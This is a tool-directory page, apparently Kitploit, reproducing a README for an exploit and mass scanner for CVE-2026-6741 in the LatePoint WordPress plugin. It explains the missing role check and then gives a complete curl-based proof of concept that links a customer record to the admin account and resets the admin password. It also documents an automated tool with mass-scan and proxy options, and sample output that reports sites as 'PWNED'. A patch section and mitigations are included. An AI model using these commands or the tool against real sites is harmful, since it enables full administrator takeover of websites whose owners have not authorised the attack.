Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-6741 — CVE-2026-6741 ist eine authentifizierte (Agent+) Privilege-Escalation-Schwachstelle mit CVSS-Score 8.8 (High) im LatePoint – Calendar Booking Plugin. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-6741
Privilege EscalationSchwachstellenscannerExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741 ist eine authentifizierte (Agent+) Privilege-Escalation-Schwachstelle mit CVSS-Score 8.8 (High) im LatePoint – Calendar Booking Plugin.

Repository anzeigen
3vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-6741

CVE-2026-6741 ist eine Schwachstelle mit CVSS-Score 8.8 (High) zur Authenticated (Agent+) Privilege Escalation im LatePoint – Calendar Booking Plugin

CVE-2026-6741 — LatePoint-Privilege-Escalation-Scanner

Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE-ID: CVE-2026-6741 CVSS-Score: 8.8 (High) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Schwachstellentyp: Authenticated (Agent+) Privilege Escalation → Administrator Takeover Betroffene Versionen: <= 5.4.1 Gepatchte Version: 5.4.2 Veröffentlichungsdatum: 27. April 2026 Forscher: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 Über die Schwachstelle

Ein authentifizierter Angreifer mit der Rolle latepoint_agent kann einen beliebigen LatePoint-Kundendatensatz mit einem WordPress-Administratorkonto verknüpfen und anschließend über den eigenen Passwort-Reset-Ablauf von LatePoint das Passwort des Administrators ändern.

Dies führt zu einer vollständigen Übernahme der Website.


🔍 Schwachstellenübersicht


⚙️ Technische Analyse

WordPress Abilities API

LatePoint 5.3.0 führte die Unterstützung für die Abilities API ein, die mit WordPress 6.9+ verfügbar ist. Diese API ermöglicht es Plugins, über die REST API aufrufbare „Ability"-Klassen zu registrieren:

root@kitploit:~
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

Verwundbarer Codepfad

1 — Fähigkeitsdefinition (Fehlende Rollenprüfung)

root@kitploit:~
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

Die Agent-Rolle verfügt standardmäßig über die Berechtigung customer__edit:

root@kitploit:~
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — execute() — Keine Rollenprüfung

root@kitploit:~
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi bir WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — Passwort-Reset-Kette

root@kitploit:~
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

Warum reichen die vorhandenen Prüfungen nicht aus?

root@kitploit:~
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

🔴 Angriffskette

root@kitploit:~
latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓

🧪 Proof of Concept (Manuell)

⚠️ Haftungsausschluss: Dieses PoC dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken.

Voraussetzungen:

  • WordPress 6.9+ (Abilities API erforderlich)
  • LatePoint <= 5.4.1 installiert und aktiv
  • Konto mit der Rolle latepoint_agent
  • Ein kontrollierter LatePoint-Kundendatensatz

Schritt 1 — Agent-Anmeldung + REST-Nonce

root@kitploit:~
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

Schritt 2 — Ermittlung der Admin-Benutzer-ID

root@kitploit:~
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

Schritt 3 — Customer mit Admin verknüpfen (Schwachstelle)

root@kitploit:~
CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

Erwartete Antwort:

root@kitploit:~
{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

Schritt 4 — Passwort-Reset starten

root@kitploit:~
CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint sendet eine Reset-E-Mail mit dem account_nonce-Token an $CUSTOMER_EMAIL.


Schritt 5 — Passwort ändern

root@kitploit:~
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

Dieser Aufruf löst die Kette update_password() → wp_set_password($NEW_PASSWORD, 1) aus. Das Admin-Passwort wurde geändert.


Schritt 6 — Als Admin anmelden

root@kitploit:~
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Validierung

root@kitploit:~
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ Automatisierter Scanner

Installation

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Verwendung

Einzelnes Ziel — Vollautomatisch

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

Admin-ID und Customer-ID manuell angeben

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

Phase 2 — Passwort mit Reset-Token ändern

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

Massen-Scan

root@kitploit:~
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt

Mit Proxy (Burp Suite)

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Parameter

Allgemein

Agent-Anmeldedaten

ParameterBeschreibung
--agent-userAgent-Benutzername (erforderlich)
--agent-passAgent-Passwort (erforderlich)

Zielparameter

ParameterBeschreibungStandard
--admin-id

Passwort-Reset (Phase 2)

ParameterBeschreibungStandard
--reset-tokenAus der E-Mail erhaltenes Reset-Token—
--new-passwordNeues Admin-PasswortPwned_CVE2026_6741!

📊 Scanner-Ausgabestatus


🖥️ Beispiel für Scanner-Ausgabe

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Agent         : agent1
[*] Admin ID      : otomatik tespit
[*] Customer ID   : otomatik tespit
[*] Reset Token   : email bekleniyor
[*] Yeni Şifre    : Pwned_CVE2026_6741!

[→] http://hedef.com  Adım 1/6: Agent girişi...
[→] http://hedef.com  Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com  Adım 3/6: Customer ID tespiti...
[→] http://hedef.com  Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com  Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com  Adım 6/6: Şifre değiştiriliyor (manuel token)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://hedef.com
  Sürüm       : 5.4.1
  Admin ID    : 1
  Customer    : #5 <[email protected]>
  Kullanıcı   : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] Kaydedildi → privesc_results.txt

🔄 Zwei-Phasen-Ablauf

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  AŞAMA 1 — Bağla + Reset Emaili Gönder                 │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
                           │
                  Email'den token al
                           │
┌─────────────────────────▼───────────────────────────────┐
│  AŞAMA 2 — Token ile Şifreyi Değiştir                  │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → Çıktı: ★ PWNED — roles=['administrator']            │
└─────────────────────────────────────────────────────────┘

🛡️ Verteidigung / Patch

Sicheres execute()-Beispiel:

root@kitploit:~
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

📁 Dateistruktur

root@kitploit:~
cve-2026-6741-scanner/
├── latepoint_privesc.py   # Ana tarayıcı
├── requirements.txt       # Bağımlılıklar
└── README.md              # Bu dosya

⚠️ Rechtshinweis

Dieses Tool und dieses PoC sind ausschließlich für die Verwendung auf autorisierten Systemen, zu Bildungszwecken und im Rahmen von Penetrationstests vorgesehen. Die Verwendung auf nicht autorisierten Systemen stellt gemäß den Artikeln 243–245 des türkischen Strafgesetzbuchs sowie internationaler Cyberkriminalitätsgesetze eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Haftung für Schäden, die aus dem Missbrauch des Tools entstehen.


📄 Lizenz

MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.


🔗 Referenzen

  • Wordfence Advisory
  • WordPress Abilities API — WP 6.9
  • LatePoint Plugin Directory
  • CVSS 3.1 Calculator
  • CWE-269: Improper Privilege Management
Tool herunterladen
FeldWert
Plugin-NameLatePoint – Calendar Booking Plugin
Plugin-Sluglatepoint
CVE-IDCVE-2026-6741
CVSS-Score8.8 (High)
SchwachstellentypAuthenticated (Agent+) Privilege Escalation
Betroffene Version<= 5.4.1
Gepatchte Version5.4.2
Voraussetzunglatepoint_agent-Rolle, WordPress 6.9+
ParameterKurzBeschreibungStandard
--url-uEinzelne Ziel-URL—
--list-lDatei mit Zielliste—
--threads-tAnzahl der Threads5
--output-oAusgabedateiprivesc_results.txt
--proxy—Proxy-URL—
--timeout—Anfrage-Timeout (Sek.)10
--force—Fortfahren, auch wenn die Abilities-API-Erkennung fehlschlägtFalse
WP-Benutzer-ID des Ziel-Admins
automatische Erkennung
--customer-idKontrollierte LatePoint-Customer-IDautomatische Erkennung
--customer-emailE-Mail-Adresse des LatePoint-CustomersAgent-E-Mail
StatusBeschreibung
★ PWNEDAdmin-Passwort geändert, Sitzung eröffnet
~ RESET_SENTReset-E-Mail gesendet — Token wird erwartet
~ PWD_CHANGEPasswort geändert — Admin-Login manuell verifizieren
- LINK_FAILCustomer-Admin-Verknüpfung fehlgeschlagen
- LOGIN_FAILAgent-Anmeldung fehlgeschlagen
- NO_PLUGINLatePoint nicht installiert
- NO_ABILITYAbilities API deaktiviert (WP 6.9+ erforderlich)
~ NO_CUSTCustomer-ID nicht gefunden — manuell angeben
~ UNREACHZiel nicht erreichbar
MaßnahmeUmsetzung
Plugin-UpdateAuf LatePoint 5.4.2+ aktualisieren
Rollenprüfung hinzufügenZielbenutzerrolle in execute() validieren
Abilities API einschränkenBerechtigung connect-customer-to-wp-user von der Agent-Rolle entfernen
Passwort-Reset-SchutzLatePoint-Reset-Ablauf für Admin-Konten deaktivieren
WP-6.9-Abilities-PrüfungRegistrierte Abilities regelmäßig überprüfen